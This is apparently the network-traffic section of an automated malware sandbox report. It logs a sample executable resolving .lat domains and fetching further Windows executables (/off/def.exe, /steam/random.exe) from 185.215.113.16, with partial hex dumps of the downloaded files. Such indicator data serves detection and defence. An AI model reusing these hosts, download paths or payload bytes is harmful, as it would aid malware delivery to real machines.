Dec 19, 2024 08:40:53.143584013 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.145678043 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.145863056 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.145905018 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.148156881 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.148376942 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.148427010 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.150326014 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.150505066 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.150561094 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.152704954 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.152883053 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.152935028 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.154930115 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.155117989 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.155165911 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.157263041 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.157434940 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.157484055 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.159589052 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.159771919 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.159838915 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.161897898 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.162100077 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.162151098 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.164222956 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.164378881 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.164424896 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.166491985 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.166692972 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.166743040 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.168838978 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.169009924 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.169058084 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.171154976 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.171391010 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.171449900 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.173780918 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.173932076 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.173993111 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.175725937 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.229753017 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.246464968 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.246654034 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.246748924 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.247531891 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.247997999 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.248063087 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.248294115 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.250350952 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.250444889 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.250494957 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.252665997 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.252757072 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.252818108 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.255057096 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.255139112 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.255228996 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.257332087 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.257410049 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.257548094 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.260962009 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.261064053 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.261732101 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.264245987 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.264261961 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.264332056 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.264823914 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.264878988 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.265362978 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.266524076 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.266578913 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.266661882 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.269169092 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.269237041 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.269289970 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.271388054 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.271450043 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.271505117 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.273663998 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.273722887 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.273916960 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.275990009 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.276053905 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.276094913 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.278052092 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.278114080 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.278220892 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.280440092 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.280500889 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.280628920 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.282742977 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.282799006 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.282964945 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.285013914 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.285063982 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.285212994 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.287501097 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.287555933 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.287686110 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.289721966 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.289777040 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.289840937 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.291996002 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.292047024 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.292164087 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.294250965 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.294306040 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.294419050 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.296719074 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.296791077 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.296961069 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.299077034 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.299132109 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.299292088 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.301366091 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.301419020 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.301428080 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.303499937 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.303550005 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.303678036 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.305910110 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.305963993 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.306058884 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.308118105 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.308166981 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.308304071 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.310480118 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.310528040 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.310655117 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.312807083 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.312854052 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.312987089 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.315092087 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.315138102 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.315279007 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.317418098 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.317464113 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.317605972 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.319749117 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.319796085 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.319941998 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.322012901 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.322055101 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.322199106 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.324556112 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.324604034 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.324755907 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.327094078 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.327183008 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.327214956 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.328969002 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.329010010 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.329181910 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.331305027 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.331362009 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.331423998 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.333596945 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.333643913 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.333791971 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.335901022 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.335942030 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.336071014 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.338187933 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.338233948 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.338363886 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.340646982 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.340691090 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.340749979 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.342886925 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.342926025 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.343089104 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.345227957 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.345264912 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.345403910 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.347454071 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.347497940 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.347639084 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.349880934 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.349920034 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.350090027 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.352071047 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.352109909 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.352278948 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.354451895 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.354495049 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.354662895 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.356862068 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.356995106 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.357217073 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.359025955 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.359150887 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.359235048 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.361347914 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.361393929 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.361526012 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.363682032 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.363744020 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.363812923 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.365967035 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.366015911 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.366127968 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.417166948 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.438615084 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.438752890 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.438865900 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.439779043 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.439896107 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:53.439974070 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:53.620523930 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:58.344168901 CET	49778	80	192.168.2.7	185.215.113.206
Dec 19, 2024 08:40:58.463754892 CET	80	49778	185.215.113.206	192.168.2.7
Dec 19, 2024 08:40:58.463850975 CET	49778	80	192.168.2.7	185.215.113.206
Dec 19, 2024 08:40:58.465389967 CET	49778	80	192.168.2.7	185.215.113.206
Dec 19, 2024 08:40:58.584959984 CET	80	49778	185.215.113.206	192.168.2.7
Dec 19, 2024 08:40:59.810911894 CET	80	49778	185.215.113.206	192.168.2.7
Dec 19, 2024 08:40:59.811167955 CET	49778	80	192.168.2.7	185.215.113.206
Dec 19, 2024 08:40:59.813199997 CET	49778	80	192.168.2.7	185.215.113.206
Dec 19, 2024 08:40:59.933619976 CET	80	49778	185.215.113.206	192.168.2.7
Dec 19, 2024 08:41:00.260840893 CET	80	49778	185.215.113.206	192.168.2.7
Dec 19, 2024 08:41:00.260941982 CET	49778	80	192.168.2.7	185.215.113.206
Dec 19, 2024 08:41:02.493179083 CET	49778	80	192.168.2.7	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:40:18.849751949 CET	64942	53	192.168.2.7	1.1.1.1
Dec 19, 2024 08:40:18.987903118 CET	53	64942	1.1.1.1	192.168.2.7
Dec 19, 2024 08:40:18.993027925 CET	59868	53	192.168.2.7	1.1.1.1
Dec 19, 2024 08:40:19.137463093 CET	53	59868	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 08:40:18.849751949 CET	192.168.2.7	1.1.1.1	0xcfa3	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:40:18.993027925 CET	192.168.2.7	1.1.1.1	0xf272	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 08:40:18.987903118 CET	1.1.1.1	192.168.2.7	0xcfa3	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:40:19.137463093 CET	1.1.1.1	192.168.2.7	0xf272	No error (0)	grannyejh.lat		104.21.64.80	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:40:19.137463093 CET	1.1.1.1	192.168.2.7	0xf272	No error (0)	grannyejh.lat		172.67.179.109	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

grannyejh.lat

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49732	185.215.113.16	80	1004	C:\Users\user\Desktop\Y41xQGmT37.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:40:39.321434975 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 19, 2024 08:40:40.653368950 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:40:39 GMT Content-Type: application/octet-stream Content-Length: 1719808 Last-Modified: Thu, 19 Dec 2024 07:22:27 GMT Connection: keep-alive ETag: "6763c9b3-1a3e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 44 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 44 00 00 04 00 00 39 5c 1a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`D `@ D9\`Ui`D @ @.rsrcD`2@.idata 6@ )8@aviwlvzz`*:@ondpugpz @D@.taggant@`D"@
Dec 19, 2024 08:40:40.653569937 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:40:40.653583050 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:40:40.654217958 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:40:40.654576063 CET	496	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:40:40.654599905 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:40:40.655364990 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:40:40.655378103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:40:40.655389071 CET	1236	IN	Data Raw: 42 b7 5b b4 aa 40 73 cb 99 95 c5 09 5e 73 79 11 9b 24 bf 78 cf 38 5c da da c8 74 84 36 da d2 4e ac 86 5e 56 40 74 82 36 ff b9 fb 0e 98 e9 a2 2a de d0 9b 70 31 ac 95 4c 73 92 81 5e bc 85 b3 09 ae e5 ad 5b 2e 89 74 fa 92 aa 3b 50 d7 8e 77 0d fe 10 Data Ascii: B[@s^sy$x8\t6N^V@t6p1Ls^[.t;PwsT~igW\|,"opz3l1u@{u5XtxR^AHpM.\Q{gJ&=7{NYyz$4xGv"SE7iMRA%uz
Dec 19, 2024 08:40:40.656091928 CET	1236	IN	Data Raw: 5f d2 37 f8 54 28 a1 96 de 58 79 82 e7 69 e7 0d e1 5b 77 e7 22 f0 86 13 65 c4 40 f4 bb 68 1e e8 a1 53 0d e8 80 68 77 86 46 70 d4 ae a5 c5 cb 51 5c 4a df cc c4 85 8d f4 ac ab 41 a2 df 02 3b eb d5 db e4 ec 3e bd 97 0b 7c ca a1 0d 86 7d 2d 6a e5 3a Data Ascii: _7T(Xyi[w"e@hShwFpQ\JA;>\|}-j:lA1 U}8sWLj.hx ;gv-63WY~8@0~pv:qo>zj4vmCQ-Q-{m\~<%n>)97ZU<Za}.
Dec 19, 2024 08:40:40.774238110 CET	1236	IN	Data Raw: c7 91 f6 09 8d 79 22 fb 21 01 68 f3 1e 72 f9 59 7c dc 73 1e c2 be f1 25 2c 98 82 29 8b 12 6e 16 c9 9d 56 71 b0 d2 8d 2b 6d b9 71 c5 a4 87 2c 38 d8 e7 3e 2c 9b 5d 4e 86 ea 83 af 98 af d5 8f c2 8b 99 3e 7e 9c ce de de de 49 3a 27 17 9f 03 ea b9 85 Data Ascii: y"!hrY\|s%,)nVq+mq,8>,]N>~I:'Qm_*ssv4NK%qc1"g-z-BG2'Yn3%#iEB[8nW,V%R2,a=p'Yjf[En-UA})-T\|pZ8zq>,o
Dec 19, 2024 08:40:44.743318081 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 19, 2024 08:40:45.179682016 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:40:44 GMT Content-Type: application/octet-stream Content-Length: 2856960 Last-Modified: Thu, 19 Dec 2024 07:24:04 GMT Connection: keep-alive ETag: "6763ca14-2b9800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 